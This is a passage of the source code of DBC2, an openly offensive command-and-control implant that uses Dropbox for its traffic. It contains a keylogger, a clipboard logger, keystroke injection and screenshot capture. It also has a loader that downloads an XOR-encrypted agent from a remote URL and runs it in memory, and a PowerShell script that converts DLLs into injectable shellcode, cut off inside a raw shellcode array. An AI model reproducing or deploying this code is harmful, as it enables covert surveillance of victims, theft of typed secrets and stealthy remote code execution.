                dynamic item = serializer.Deserialize<object>(Encoding.ASCII.GetString(responseArray));
                revNumber = item["rev"];
            }
            catch (Exception ex)
            {
                #if (DEBUG)
                    while (ex != null)
                    {
                        Console.WriteLine("[ERROR] " + ex.Message);                            
                        ex = ex.InnerException;
                    }
                #endif
                return revNumber;
            }

            #if (DEBUG)
                Console.WriteLine("\t\t[DropboxHandler.putFile] File upload DONE");
            #endif
            return revNumber;
        }

        //--------------------------------------------------------------------------------------------------
        // Returns the revision number of a file given in argument
        //--------------------------------------------------------------------------------------------------
        public string getRevNumber(string path)
        {
            string command = @"{""path"": """ + path + @""",""include_media_info"": false,""include_deleted"": false,""include_has_explicit_shared_members"": false}";
            string revNumber = String.Empty;

            webClient.Headers.Remove("Dropbox-API-Arg");
            webClient.Headers["Content-Type"] = "application/json";

            byte[] data = Encoding.ASCII.GetBytes(command);

            try
            {
                byte[] responseArray = webClient.UploadData((string)dropboxAPI["getMetaData"], data);

                JavaScriptSerializer serializer = new JavaScriptSerializer();
                dynamic item = serializer.Deserialize<object>(Encoding.ASCII.GetString(responseArray));
                revNumber = item["rev"];
                return revNumber;
            }
            catch (Exception ex)
                {
                    #if (DEBUG)
                    while (ex != null)
                    {
                        Console.WriteLine("[ERROR] " + ex.Message);                            
                        ex = ex.InnerException;
                    }
                #endif
                return revNumber;
            }
        }

        //--------------------------------------------------------------------------------------------------
        // Returns true if no error occured, false otherwise
        //--------------------------------------------------------------------------------------------------
        public bool deleteFile(string path)
        {
            string command = @"{""path"": """ + path + @"""}";
            string revNumber = String.Empty;

            webClient.Headers.Remove("Dropbox-API-Arg");
            webClient.Headers["Content-Type"] = "application/json";

            byte[] data = Encoding.ASCII.GetBytes(command);

            try
            {
                webClient.UploadData((string)dropboxAPI["deleteFile"], data);
                return true;
            }
            catch (Exception ex)
            {
                #if (DEBUG)
                    while (ex != null)
                    {
                        Console.WriteLine("[ERROR] " + ex.Message);                            
                        ex = ex.InnerException;
                    }
                #endif
                return false;
            }
        }

        //--------------------------------------------------------------------------------------------------
        // Reads a remote file and return its content as a byte array
        //--------------------------------------------------------------------------------------------------
        public byte[] readFile(string path)
        {
            string command = @"{""path"": """ + path + @"""}";
            byte[] response = null;

            webClient.Headers.Remove("Content-Type");
            webClient.Headers["Dropbox-API-Arg"] = command;

            try
            {
                response = webClient.DownloadData((string)dropboxAPI["downloadFile"]);
                return response;
            }
            catch (Exception ex)
            {
                #if (DEBUG)
                    while (ex != null)
                    {
                        Console.WriteLine("[ERROR] " + ex.Message);                            
                        ex = ex.InnerException;
                    }
                #endif
                return response;
            }
        }

        //--------------------------------------------------------------------------------------------------
        // Downloads a remoteFile to a local one
        // Returns true if all went OK, false otherwise
        //--------------------------------------------------------------------------------------------------
        public bool downloadFile(string remoteFile, string localFile)
        {
            string command = @"{""path"": """ + remoteFile + @"""}";

            webClient.Headers.Remove("Content-Type");
            webClient.Headers["Dropbox-API-Arg"] = command;

            #if (DEBUG)
                Console.WriteLine("\t\t[DropboxHandler.downloadFile] Downloading file...");
            #endif

            try
            {
                webClient.DownloadFile((string)dropboxAPI["downloadFile"], localFile);
                #if (DEBUG)
                    Console.WriteLine("\t\t[DropboxHandler.downloadFile] File downloaded");
                #endif
                return true;
            }
            catch (Exception ex)
            {
                #if (DEBUG)
                    while (ex != null)
                    {
                        Console.WriteLine("[ERROR] " + ex.Message);                            
                        ex = ex.InnerException;
                    }
                #endif
                return false;
            }
        }
    }
}

================================================
FILE: agent/source/misc.cs
================================================
/*
Author: Arno0x0x, Twitter: @Arno0x0x
*/
using System;
using System.IO;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using System.Drawing;
using System.Collections.Generic;
using System.Runtime.InteropServices;

namespace dropboxc2
{
    //****************************************************************************************
    // Class holding native Win32 API functions
    //****************************************************************************************
    internal static class NativeFunctions 
    {
        [DllImport("user32.dll")]
        internal static extern short GetAsyncKeyState(Keys vKey);

        [DllImport("user32.dll")]
        internal static extern int SetForegroundWindow(IntPtr point);
        [DllImport("user32.dll")] 
        internal static extern int ShowWindow(int hwnd, int nCmdShow);

        [DllImport("user32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        internal static extern bool AddClipboardFormatListener(IntPtr hwnd);
        [DllImport("user32.dll", SetLastError = true)]
        internal static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);

        internal const int WM_CLIPBOARDUPDATE = 0x031D;
        internal static IntPtr HWND_MESSAGE = new IntPtr(-3);
    }

    //****************************************************************************************
    // Class handling keylogging operations and thread
    //****************************************************************************************
    public static class KeyLogger
    {
        
        public delegate void KeyEventDelegate(Keys key);
        private static Thread _pollingThread;
        private static volatile Dictionary<Keys, bool> _keysStates = new Dictionary<Keys, bool>();
        private static bool exit = false;

        //------------------------------------------------------------------------------
        public static void Start()
        {
            if (_pollingThread != null && _pollingThread.IsAlive)
            {
                return;
            }
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                _keysStates[key] = false;
            }

            _pollingThread = new Thread(PollKeys) { IsBackground = true, Name = "KeyThread" };
            _pollingThread.Start();
        }

        //------------------------------------------------------------------------------
        public static void Stop()
        {
            exit = true;
        }

        //------------------------------------------------------------------------------
        private static void PollKeys()
        {
            while (true)
            {
                Thread.Sleep(40);
                foreach (Keys key in Enum.GetValues(typeof(Keys)))
                {
                    if (((NativeFunctions.GetAsyncKeyState(key) & (1 << 15)) != 0))
                    {
                        if (_keysStates[key]) continue;
                        if (OnKeyDown != null) OnKeyDown.Invoke(key);
                        _keysStates[key] = true;
                    }
                    else
                    {
                        if (!_keysStates[key]) continue;
                        if (OnKeyUp != null) OnKeyUp.Invoke(key);
                        _keysStates[key] = false;
                    }
                }
                if (exit) break;
            }
        }

        public static event KeyEventDelegate OnKeyDown;
        public static event KeyEventDelegate OnKeyUp;
    }

    //****************************************************************************************
    // Class handling clipboard logging operations and thread
    //****************************************************************************************
    public static class ClipboardLogger
    {
        public delegate void ClipboardEventDelegate(string text);
        private static Thread _pollingThread;
        private static bool exit = false;
        private static TextBox tb;
        private static string lastContent;

        //------------------------------------------------------------------------------
        public static void Start()
        {
            if (_pollingThread != null && _pollingThread.IsAlive)
            {
                return;
            }
            
            tb = new TextBox();
            tb.Multiline = true;
            lastContent = "";
            _pollingThread = new Thread(PollClipboard) { IsBackground = true, Name = "ClipboardThread" };
            _pollingThread.Start();
        }

        //------------------------------------------------------------------------------
        public static void Stop()
        {
            exit = true;
        }

        //------------------------------------------------------------------------------
        private static void PollClipboard()
        {
            while (true)
            {
                Thread.Sleep(1000);
                tb.Paste();
                if (tb.Text != lastContent)
                {
                    lastContent = tb.Text;
                    if (OnKeyBoardEvent != null) OnKeyBoardEvent.Invoke(tb.Text);   
                }
                tb.Clear();

                if (exit) break;
            }
        }

        public static event ClipboardEventDelegate OnKeyBoardEvent;
    }

    //****************************************************************************************
    // Class for sending key strokes to a remote process
    //****************************************************************************************
    public static class KeyStrokes
    {
        //==================================================================================================
        // This method sends key strokes to a specified process identified by its name
        //==================================================================================================
        public static bool sendKeyStrokes(Process p, string keyStrokes)
        {
            try
            {
                IntPtr h = p.MainWindowHandle; // Find the process main Window
                NativeFunctions.SetForegroundWindow(h); // Set the process main window to foreground
                NativeFunctions.ShowWindow(h.ToInt32(),9); // Restore the window, in case it was minimized
                SendKeys.SendWait(keyStrokes); // Send the keytrokes to the process 
                return true;   
            }
            catch (Exception ex)
            {
                // Log the exception
#if (DEBUG)
                while (ex != null)
                {
                    Console.WriteLine("[ERROR] " + ex.Message);
                    ex = ex.InnerException;
                }
#endif
                return false;
            }
        }
    }

    //****************************************************************************************
    // Class for taking screenshot
    //****************************************************************************************
    public static class Screenshot
    {
        //==================================================================================================
        // This method returns a byte array of a JPG screenshot of all system's screens
        //==================================================================================================
        public static byte[] takeScreenShot()
        {
            int width = 0, height = 0;

            // Get all system screens (display, or monitors)
            Screen[] systemScreens = Screen.AllScreens;

            foreach (Screen screen in systemScreens)
            {
                Rectangle screenSize = screen.Bounds;
                width += screenSize.Width;
                if (screenSize.Height > height) height = screenSize.Height;
            }

            // Take a screenshot of the whole display, including all screens
            Bitmap target = new Bitmap(width, height);
            using (Graphics g = Graphics.FromImage(target))
            {
                g.CopyFromScreen(0, 0, 0, 0, new Size(width, height));
            }

            // Convert this screenshot to JPEG format and to a byte array in memory
            using (var stream = new MemoryStream())
            {
                target.Save(stream, System.Drawing.Imaging.ImageFormat.Jpeg);
                return stream.ToArray();
            }
        }
    }
}

================================================
FILE: dbc2Loader/dbc2Loader.cs
================================================
/*
Author: Arno0x0x, Twitter: @Arno0x0x

What this program does:
-----------------------
This assembly loads the DBC2 agent from a remote URL, xor decrypt it, then loads it in memory and starts it.

What is its purpose ?
-----------------------
dbc2Loader acts as a lightweight wrapper DLL dor the DBC2 agent. It is currently useful for two things:

1/	Allowing it to loaded through DotNetToJScript, which gives us a new JScript loader for the DBC2 agent

2/	Can be loaded from a native wrapper DLL hosting the .Net CLR, and then this native wrapper DLL can be transformed
	into a position independant shellcode thanks to sRDI. This allows for injecting the DBC2 agent in virtually any process !

-------------------- Compile for x64 platform ----------------
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:dbc2Loader.dll dbc2Loader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:dbc2Loader.exe dbc2Loader.cs


-------------------- Compile for x86 platform ----------------
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:dbc2Loader.dll dbc2Loader.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:dbc2Loader.exe dbc2Loader.cs
*/

using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Windows.Forms;

namespace dbc2Loader
{
	[ComVisible(true)]
	public class dbc2Loader
	{
		//========================================================================================
		// Constructor...
		//========================================================================================
		public dbc2Loader()
		{
			
		}
		
		//========================================================================================
		// Returns the XOR encrpytion/decryption of a source byte array, given a key as a byte array
		//========================================================================================
		private static byte[] xor(byte[] source, string key)
		{
			byte[] decrypted = new byte[source.Length];
		
			for(int i = 0; i < source.Length; i++) {
				decrypted[i] = (byte) (source[i] ^ key[i % key.Length]);
			}
			
			return decrypted;
		}
		
		//========================================================================================
		// Main function called in case of compiled as an EXEcutable
		//========================================================================================
		public static void Main(string[] args)
		{
			if (args.Length == 2)
			{
				(new dbc2Loader()).loadDBC2(args[0], args[1], args[2], args[3]);			
			}
			else { Console.WriteLine("[ERROR] Missing arguments"); }
		}
		
		//========================================================================================
		// Function used when called from native unmanaged code
		//========================================================================================	
		public static int entryPoint(string arg)
		{	
			string[] args = arg.Split('|');
			(new dbc2Loader()).loadDBC2(args[0], args[1], args[2], args[3]);
			return 0;
		}
		
		//========================================================================================
		// Actual method loading the DBC2 agent in memory and executing it
		//========================================================================================
		public void loadDBC2(string url, string xorKey, string accessToken, string masterKey)
		{
			//----------------------------------------------------------------------
			// Download the dbc2 encrypted agent from the provided URL
			//----------------------------------------------------------------------
			WebClient webClient = new WebClient();
			
			IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
			if (defaultProxy != null)
			{
				defaultProxy.Credentials = CredentialCache.DefaultCredentials;
				webClient.Proxy = defaultProxy;
			}
			
			byte[] dbc2Assembly = null;
			
			try
			{
				// Download the encrypted agent assembly and decrpyt it
				dbc2Assembly = xor(webClient.DownloadData(url),xorKey);
			}
			catch (Exception ex)  
			{
				while (ex != null)
				{
					Console.WriteLine(ex.Message);
					ex = ex.InnerException;
				}
			}
			
			//----------------------------------------------------------------------
			// Load assembly in memory
			//----------------------------------------------------------------------
			Assembly assembly = Assembly.Load(dbc2Assembly);
			Type type = assembly.GetType("dropboxc2.C2_Agent");
			
			// Setting DBC2 agent arguments: the access token and the master key
			string[] parameters = new string[] {accessToken, masterKey};
			object[] parametersArray = new object[]{parameters};
			
			try
			{
				// This will create an instance of the C2_Agent class, the constructor will start the whole job, so no further method call is required
				object classInstance = Activator.CreateInstance(type, parametersArray); 
			}
			catch (Exception ex)  
			{
				while (ex != null)
				{
					Console.WriteLine(ex.Message);
					ex = ex.InnerException;
				}
			}
		}
	}
}

================================================
FILE: dbc2Loader/nativeWrapper/ConvertTo-Shellcode.ps1
================================================
$Source = @"
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Reflection;

public class sRDI
{
    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_DATA_DIRECTORY
    {
        public uint VirtualAddress;
        public uint Size;
    }

    //[StructLayout(LayoutKind.Sequential, Pack = 1)]
    [StructLayout(LayoutKind.Explicit)]
    unsafe struct IMAGE_SECTION_HEADER
    {
        [FieldOffset(0)]
        public fixed byte Name[8];
        [FieldOffset(8)]
        public uint PhysicalAddress;
        [FieldOffset(8)]
        public uint VirtualSize;
        [FieldOffset(12)]
        public uint VirtualAddress;
        [FieldOffset(16)]
        public uint SizeOfRawData;
        [FieldOffset(20)]
        public uint PointerToRawData;
        [FieldOffset(24)]
        public uint PointerToRelocations;
        [FieldOffset(28)]
        public uint PointerToLinenumbers;
        [FieldOffset(32)]
        public ushort NumberOfRelocations;
        [FieldOffset(34)]
        public ushort NumberOfLinenumbers;
        [FieldOffset(36)]
        public uint Characteristics;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_FILE_HEADER
    {
        public ushort Machine;
        public ushort NumberOfSections;
        public uint TimeDateStamp;
        public uint PointerToSymbolTable;
        public uint NumberOfSymbols;
        public ushort SizeOfOptionalHeader;
        public ushort Characteristics;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_EXPORT_DIRECTORY
    {
        public uint Characteristics;
        public uint TimeDateStamp;
        public ushort MajorVersion;
        public ushort MinorVersion;
        public uint Name;
        public uint Base;
        public uint NumberOfFunctions;
        public uint NumberOfNames;
        public uint AddressOfFunctions;     // RVA from base of image
        public uint AddressOfNames;         // RVA from base of image
        public uint AddressOfNameOrdinals;  // RVA from base of image
    }

    enum IMAGE_DOS_SIGNATURE : ushort
    {
        DOS_SIGNATURE = 0x5A4D,      // MZ
        OS2_SIGNATURE = 0x454E,      // NE
        OS2_SIGNATURE_LE = 0x454C,      // LE
    }

    enum MagicType : ushort
    {
        IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
        IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b,
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_DOS_HEADER
    {
        public IMAGE_DOS_SIGNATURE e_magic;        // Magic number
        public ushort e_cblp;                      // public bytes on last page of file
        public ushort e_cp;                        // Pages in file
        public ushort e_crlc;                      // Relocations
        public ushort e_cparhdr;                   // Size of header in paragraphs
        public ushort e_minalloc;                  // Minimum extra paragraphs needed
        public ushort e_maxalloc;                  // Maximum extra paragraphs needed
        public ushort e_ss;                        // Initial (relative) SS value
        public ushort e_sp;                        // Initial SP value
        public ushort e_csum;                      // Checksum
        public ushort e_ip;                        // Initial IP value
        public ushort e_cs;                        // Initial (relative) CS value
        public ushort e_lfarlc;                    // File address of relocation table
        public ushort e_ovno;                      // Overlay number
        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
        public string e_res;                       // May contain 'Detours!'
        public ushort e_oemid;                     // OEM identifier (for e_oeminfo)
        public ushort e_oeminfo;                   // OEM information; e_oemid specific
        [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst = 10)]
        public ushort[] e_res2;                      // Reserved public ushorts
        public Int32 e_lfanew;                    // File address of new exe header
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_OPTIONAL_HEADER
    {
        //
        // Standard fields.
        //

        public MagicType Magic;
        public byte MajorLinkerVersion;
        public byte MinorLinkerVersion;
        public uint SizeOfCode;
        public uint SizeOfInitializedData;
        public uint SizeOfUninitializedData;
        public uint AddressOfEntryPoint;
        public uint BaseOfCode;
        public uint BaseOfData;
        public uint ImageBase;
        public uint SectionAlignment;
        public uint FileAlignment;
        public ushort MajorOperatingSystemVersion;
        public ushort MinorOperatingSystemVersion;
        public ushort MajorImageVersion;
        public ushort MinorImageVersion;
        public ushort MajorSubsystemVersion;
        public ushort MinorSubsystemVersion;
        public uint Win32VersionValue;
        public uint SizeOfImage;
        public uint SizeOfHeaders;
        public uint CheckSum;
        public ushort Subsystem;
        public ushort DllCharacteristics;
        public uint SizeOfStackReserve;
        public uint SizeOfStackCommit;
        public uint SizeOfHeapReserve;
        public uint SizeOfHeapCommit;
        public uint LoaderFlags;
        public uint NumberOfRvaAndSizes;
        public IMAGE_DATA_DIRECTORY ExportTable;
        public IMAGE_DATA_DIRECTORY ImportTable;
        public IMAGE_DATA_DIRECTORY ResourceTable;
        public IMAGE_DATA_DIRECTORY ExceptionTable;
        public IMAGE_DATA_DIRECTORY CertificateTable;
        public IMAGE_DATA_DIRECTORY BaseRelocationTable;
        public IMAGE_DATA_DIRECTORY Debug;
        public IMAGE_DATA_DIRECTORY Architecture;
        public IMAGE_DATA_DIRECTORY GlobalPtr;
        public IMAGE_DATA_DIRECTORY TLSTable;
        public IMAGE_DATA_DIRECTORY LoadConfigTable;
        public IMAGE_DATA_DIRECTORY BoundImport;
        public IMAGE_DATA_DIRECTORY IAT;
        public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
        public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
        public IMAGE_DATA_DIRECTORY Public;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_OPTIONAL_HEADER64
    {
        public MagicType Magic;
        public byte MajorLinkerVersion;
        public byte MinorLinkerVersion;
        public uint SizeOfCode;
        public uint SizeOfInitializedData;
        public uint SizeOfUninitializedData;
        public uint AddressOfEntryPoint;
        public uint BaseOfCode;
        public ulong ImageBase;
        public uint SectionAlignment;
        public uint FileAlignment;
        public ushort MajorOperatingSystemVersion;
        public ushort MinorOperatingSystemVersion;
        public ushort MajorImageVersion;
        public ushort MinorImageVersion;
        public ushort MajorSubsystemVersion;
        public ushort MinorSubsystemVersion;
        public uint Win32VersionValue;
        public uint SizeOfImage;
        public uint SizeOfHeaders;
        public uint CheckSum;
        public ushort Subsystem;
        public ushort DllCharacteristics;
        public ulong SizeOfStackReserve;
        public ulong SizeOfStackCommit;
        public ulong SizeOfHeapReserve;
        public ulong SizeOfHeapCommit;
        public uint LoaderFlags;
        public uint NumberOfRvaAndSizes;
        public IMAGE_DATA_DIRECTORY ExportTable;
        public IMAGE_DATA_DIRECTORY ImportTable;
        public IMAGE_DATA_DIRECTORY ResourceTable;
        public IMAGE_DATA_DIRECTORY ExceptionTable;
        public IMAGE_DATA_DIRECTORY CertificateTable;
        public IMAGE_DATA_DIRECTORY BaseRelocationTable;
        public IMAGE_DATA_DIRECTORY Debug;
        public IMAGE_DATA_DIRECTORY Architecture;
        public IMAGE_DATA_DIRECTORY GlobalPtr;
        public IMAGE_DATA_DIRECTORY TLSTable;
        public IMAGE_DATA_DIRECTORY LoadConfigTable;
        public IMAGE_DATA_DIRECTORY BoundImport;
        public IMAGE_DATA_DIRECTORY IAT;
        public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
        public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
        public IMAGE_DATA_DIRECTORY Public;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_NT_HEADERS64
    {
        public uint Signature;
        public IMAGE_FILE_HEADER FileHeader;
        public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
    }

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    struct IMAGE_NT_HEADERS
    {
        public uint Signature;
        public IMAGE_FILE_HEADER FileHeader;
        public IMAGE_OPTIONAL_HEADER OptionalHeader;
    }

    public static unsafe class InteropTools
    {
        private static readonly Type SafeBufferType = typeof(SafeBuffer);
        public delegate void PtrToStructureNativeDelegate(byte* ptr, TypedReference structure, uint sizeofT);
        public delegate void StructureToPtrNativeDelegate(TypedReference structure, byte* ptr, uint sizeofT);
        const BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
        private static readonly MethodInfo PtrToStructureNativeMethod = SafeBufferType.GetMethod("PtrToStructureNative", flags);
        private static readonly MethodInfo StructureToPtrNativeMethod = SafeBufferType.GetMethod("StructureToPtrNative", flags);
        public static readonly PtrToStructureNativeDelegate PtrToStructureNative = (PtrToStructureNativeDelegate)Delegate.CreateDelegate(typeof(PtrToStructureNativeDelegate), PtrToStructureNativeMethod);
        public static readonly StructureToPtrNativeDelegate StructureToPtrNative = (StructureToPtrNativeDelegate)Delegate.CreateDelegate(typeof(StructureToPtrNativeDelegate), StructureToPtrNativeMethod);

        private static readonly Func<Type, bool, int> SizeOfHelper_f = (Func<Type, bool, int>)Delegate.CreateDelegate(typeof(Func<Type, bool, int>), typeof(Marshal).GetMethod("SizeOfHelper", flags));

        public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr, int size)
        {
            StructureToPtrNative(structure, (byte*)ptr, unchecked((uint)size));
        }

        public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr)
        {
            StructureToPtrDirect(structure, ptr, SizeOf(__reftype(structure)));
        }

        public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure, int size)
        {
            PtrToStructureNative((byte*)ptr, structure, unchecked((uint)size));
        }

        public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure)
        {
            PtrToStructureDirect(ptr, structure, SizeOf(__reftype(structure)));
        }

        public static void StructureToPtr<T>(ref T structure, IntPtr ptr)
        {
            StructureToPtrDirect(__makeref(structure), ptr);
        }

        public static void PtrToStructure<T>(IntPtr ptr, out T structure)
        {
            structure = default(T);
            PtrToStructureDirect(ptr, __makeref(structure));
        }

        public static T PtrToStructure<T>(IntPtr ptr)
        {
            T obj;
            PtrToStructure(ptr, out obj);
            return obj;
        }

        public static int SizeOf<T>(T structure)
        {
            return SizeOf<T>();
        }

        public static int SizeOf<T>()
        {
            return SizeOf(typeof(T));
        }

        public static int SizeOf(Type t)
        {
            return SizeOfHelper_f(t, true);
        }
    }

    public static IntPtr Rva2Offset(uint dwRva, IntPtr PEPointer)
    {
        bool is64Bit = false;
        ushort wIndex = 0;
        ushort wNumberOfSections = 0;
        IntPtr imageSectionPtr;
        IMAGE_SECTION_HEADER SectionHeader;
        int sizeOfSectionHeader = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));

        IMAGE_DOS_HEADER dosHeader = InteropTools.PtrToStructure<IMAGE_DOS_HEADER>(PEPointer);

        IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew);

        var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));
        var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));

        if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;


        if (is64Bit)
        {
            imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader") + (Int64)imageNtHeaders64.FileHeader.SizeOfOptionalHeader));
            SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER));
            wNumberOfSections = imageNtHeaders64.FileHeader.NumberOfSections;
        }
        else
        {
            imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader") + (Int64)imageNtHeaders32.FileHeader.SizeOfOptionalHeader));
            SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER));
            wNumberOfSections = imageNtHeaders32.FileHeader.NumberOfSections;
        }

        if (dwRva < SectionHeader.PointerToRawData)
            return (IntPtr)((UInt64)dwRva + (UInt64)PEPointer);

        for (wIndex = 0; wIndex < wNumberOfSections; wIndex++)
        {
            SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((IntPtr)((uint)imageSectionPtr + (uint)(sizeOfSectionHeader * (wIndex))), typeof(IMAGE_SECTION_HEADER));
            if (dwRva >= SectionHeader.VirtualAddress && dwRva < (SectionHeader.VirtualAddress + SectionHeader.SizeOfRawData))
                return (IntPtr)((UInt64)(dwRva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData) + (UInt64)PEPointer);
        }

        return IntPtr.Zero;
    }

    public static unsafe bool Is64BitDLL(byte[] dllBytes)
    {
        bool is64Bit = false;
        GCHandle scHandle = GCHandle.Alloc(dllBytes, GCHandleType.Pinned);
        IntPtr scPointer = scHandle.AddrOfPinnedObject();

        IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(scPointer, typeof(IMAGE_DOS_HEADER));

        IntPtr NtHeadersPtr = (IntPtr)((UInt64)scPointer + (UInt64)dosHeader.e_lfanew);

        var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));
        var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));

        if (imageNtHeaders64.Signature != 0x00004550)
            throw new ApplicationException("Invalid IMAGE_NT_HEADER signature.");

        if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;

        scHandle.Free();

        return is64Bit;
    }

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    delegate IntPtr ReflectiveLoader();

    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    delegate bool ExportedFunction(IntPtr userData, uint userLength);

    public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData)
    {
        var rdiShellcode64 = new byte[] { 0xe9, 0x1b, 0x04, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x10, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8b, 0xf1, 0x33, 0xed, 0x48, 0x8b, 0x50, 0x18, 0x4c, 0x8b, 0x4a, 0x10, 0x4d, 0x8b, 0x41, 0x30, 0x4d, 0x85, 0xc0, 0x0f, 0x84, 0xb9, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3c, 0x4d, 0x8b, 0x09, 0x46, 0x8b, 0x9c, 0x00, 0x88, 0x00, 0x00, 0x00, 0x8b, 0xd5, 0xf3, 0x0f, 0x7f, 0x04, 0x24, 0x45, 0x85, 0xdb, 0x74, 0xd3, 0x48, 0x8b, 0x04, 0x24, 0x48, 0xc1, 0xe8, 0x10, 0x66, 0x3b, 0xe8, 0x73, 0x26, 0x48, 0x8b, 0x4c, 0x24, 0x08, 0x44, 0x0f, 0xb7, 0x54, 0x24, 0x02, 0x0f, 0xbe, 0x01, 0xc1, 0xca, 0x0d, 0x80, 0x39, 0x61, 0x7c, 0x06, 0x8d, 0x54, 0x02, 0xe0, 0xeb, 0x02, 0x03, 0xd0, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xca, 0x75, 0xe5, 0x4f, 0x8d, 0x14, 0x18, 0x8b, 0xcd, 0x45, 0x8b, 0x5a, 0x20, 0x4d, 0x03, 0xd8, 0x41, 0x39, 0x6a, 0x18, 0x76, 0x8d, 0x41, 0x8b, 0x1b, 0x8b, 0xfd, 0x49, 0x03, 0xd8, 0x49, 0x83, 0xc3, 0x04, 0x0f, 0xbe, 0x03, 0xc1, 0xcf, 0x0d, 0x48, 0xff, 0xc3, 0x03, 0xf8, 0x40, 0x38, 0x6b, 0xff, 0x75, 0xef, 0x8d, 0x04, 0x17, 0x3b, 0xc6, 0x74, 0x0d, 0xff, 0xc1, 0x41, 0x3b, 0x4a, 0x18, 0x72, 0xd4, 0xe9, 0x5c, 0xff, 0xff, 0xff, 0x41, 0x8b, 0x52, 0x24, 0x03, 0xc9, 0x49, 0x8d, 0x04, 0x10, 0x0f, 0xb7, 0x04, 0x01, 0x41, 0x8b, 0x4a, 0x1c, 0xc1, 0xe0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xc0, 0x8b, 0x04, 0x01, 0x49, 0x03, 0xc0, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x28, 0x48, 0x8b, 0x74, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x10, 0x5f, 0xc3, 0xcc, 0xcc, 0x44, 0x89, 0x4c, 0x24, 0x20, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x89, 0x54, 0x24, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xf1, 0xb9, 0x4c, 0x77, 0x26, 0x07, 0x44, 0x8b, 0xe2, 0xe8, 0xca, 0xfe, 0xff, 0xff, 0xb9, 0x49, 0xf7, 0x02, 0x78, 0x4c, 0x8b, 0xf0, 0xe8, 0xbd, 0xfe, 0xff, 0xff, 0xb9, 0x58, 0xa4, 0x53, 0xe5, 0x4c, 0x8b, 0xf8, 0xe8, 